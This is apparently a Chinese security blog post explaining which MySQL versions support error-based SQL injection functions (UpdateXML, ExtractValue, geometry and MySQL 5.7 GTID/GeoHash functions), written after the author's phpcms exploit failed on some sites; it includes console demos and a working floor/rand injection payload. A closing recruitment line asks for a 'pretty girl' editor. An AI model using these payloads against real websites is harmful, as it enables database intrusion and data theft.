本文章由核心成员Luan原创,未经允许严禁转载。
前天写了phpcms的一个注入exp,经过大量测试发现,很多网站明明存在漏洞,我的exp却失败了。
多方面分析后,结果不是因为waf,而是因为mysql版本问题。
我的exp是使用的报错注入,如果mysql版本过低,某些报错函数就用不了!详细见下文:
1.MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()
Mysql5.0:
Mysql5.1
所以在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。同理,mysql 5.5 limit后sql注入 准确的适用范围是 MySQL 5.1.5~5.5。
PS:updatexml报错函数的结果有32位的长度限制
2.一些函数在Mysql 5.0.中存在但是不会报错,5.1后才可以报错
geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring()exp()
MySQL5.0:
在5.1和5.5中测试其中一个:
这也就是为什么我的phpcms的exp测试某些网站不行的原因了!
3.在MySQL5.7中多了很多能报错的函数
ST_LatFromGeoHash()ST_LongFromGeoHash()GTID_SUBSET()GTID_SUBTRACT()ST_PointFromGeoHash()
mysql> select ST_LatFromGeoHash(version());ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LATFROMGEOHASHmysql> select ST_LongFromGeoHash(version());ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function ST_LONGFROMGEOHASHmysql> select GTID_SUBSET(version(),1);ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'.mysql> select GTID_SUBTRACT(version(),1);ERROR 1772 (HY000): Malformed GTID set specification '5.7.12-log'.mysql> select ST_PointFromGeoHash(version(),1);ERROR 1411 (HY000): Incorrect geohash value: '5.7.12-log' for function st_pointfromgeohash
MySQL5.0,5.1和5.5中都没有。
4. Mysql5.0及以上版本都能用的报错函数:floor‘ and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
很抱歉,最近比较忙。 没时间更新文章。 有想法招聘一个编辑。 知乎专栏与官方博客的管理。 最好是妹子~ 哈哈哈。 长得漂亮最好。 有想法联系mail:admin@st0rs.com
官博地址:点击进入